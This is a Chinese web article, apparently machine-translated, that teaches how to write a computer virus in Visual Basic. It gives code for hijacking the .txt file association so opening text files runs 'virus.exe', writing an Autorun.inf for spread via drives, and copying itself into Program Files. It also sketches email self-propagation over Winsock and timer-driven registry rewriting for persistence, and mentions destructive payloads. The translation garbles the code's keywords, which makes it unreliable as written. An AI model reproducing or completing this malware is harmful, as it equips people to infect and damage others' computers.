计算机病毒的产生方法

私有声明函数RegCreateKey Lib“ advapi32.dll”别名“ RegCreateKeyA”（ByVal hKey长，ByVal lpSubKey长字符串，phkResult长）

私有声明函数RegSetValue Lib“ advapi32.dll”别名“ RegSetValueA”（ByVal hKey长，ByVal lpSubKey作为字符串，ByVal dwType长，ByVal lpData作为字符串，ByVal cbData长）

Const HKEY_CLASSES_ROOT =＆H80000000

常量REG_SZ = 1

实施代码:

将sKeyName设置为String'存储密钥名称

将sKeyValue设置为String'存储键值

将MyReturn As设置为'存储返回值信息

尽可能长的昏暗按键柄

sKeyName =“测试”

sKeyValue =“测试应用程序”

MyReturn＆= RegCreateKey＆（HKEY_CLASSES_ROOT，sKeyName，键句柄＆）

MyReturn＆= RegSetValue＆（键处理＆，“”，REG_SZ，sKeyValue，0和）

MsgBox MyReturn＆

sKeyName =“ .txt”'要关联的文件扩展名

sKeyValue =“测试”

MyReturn＆= RegCreateKey＆（HKEY_CLASSES_ROOT，sKeyName，键句柄＆）

MyReturn＆= RegSetValue＆（键处理＆，“”，REG_SZ，sKeyValue，0和）

sKeyName =“测试”

sKeyValue =“ D: \\ virus.exe％1”'自身程序的位置和名称

MyReturn＆= RegCreateKey＆（HKEY_CLASSES_ROOT，sKeyName，键句柄＆）

MyReturn＆= RegSetValue＆（键句柄＆，“ shell \ open \ command”，REG_SZ，sKeyValue，MAX_PATH）

结束子

以上是通过修改TXT文件关联以实现病毒启动来实现的.

第二，使用Autorun.inf

CD-ROM使用它来自动播放，所以我不会胡说八道.

实施代码:

如果Dir（“ F: \”）<>“”然后让a = App.Path +“ \” + App.EXEName +“ .exe”

FileCopy a，“ C: \ virus.exe”

打开“ Autorun.inf”以将其作为#1输出

打印#1，“ [自动运行]”

打印#1，“ OPEN = virus.exe”

关闭#1

这样，您可以双击C驱动器来启动病毒.

我们来谈谈病毒的传播. 病毒的传播可以说是八仙仙渡海. 主要传输方式为电子邮件传输，远程溢出等.

此处不解释远程溢出. 首先是我不是很熟练，我只是使用它，我没有说. 第二是要明确和麻烦. 因此，让我谈谈电子邮件传播.

首先，创建一个WINSOCKE. 然后用编程实现. 这里只有想法.

ConnectToServer服务器电脑病毒是怎么制作的，Winsock1‘这是到服务器的连接

SendMail发件人地址，收件人地址，主题电脑病毒是怎么制作的，正文，Winsock1，附加“发送邮件

FromAddress发件人地址

ToAddress收件人地址

主题消息标头

正文消息内容

附加附件地址

使用此原理进行广播可以达到传播自己的目的.

另一个是U盘/ A盘传输，已在原则上进行了说明. 有了Autorun.inf文件，这里就没有废话了.

说了这么多，剩下的最后一点是破坏性的. 这将不详细解释. 什么自动关机，无限扩散. 每个人都不难发挥自己的想象力.

最后，在特定操作系统下必须生存哪种病毒. 因此，在创建病毒之后，它可能在任何操作系统下都不可用. 还有一件事，病毒必须保护自己. 建议使用TIMER. 使用此组件可以连续编写注册表. 这样，很难删除病毒的启动密钥. 同时保护您自己的扩散文件. 例如:

让a = App.Path +“ \” + App.EXEName +“ .exe”

如果是Dir（“ C: \ Program Files \ Virus.exe”）<>“”则

其他: FileCopy a，“ C: \ Program Files \ Virus.exe”

最后，有最重要的一点. 那就是容错能力. 尽可能多地添加. 以防万一.

观看本文计算机病毒产生的人还观看了

1. 如何制作计算机病毒

2. 电脑病毒会制作视频

3. 如何制造计算机病毒？

4. 计算机病毒生产的原理和危害是什么？

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-149852-1.html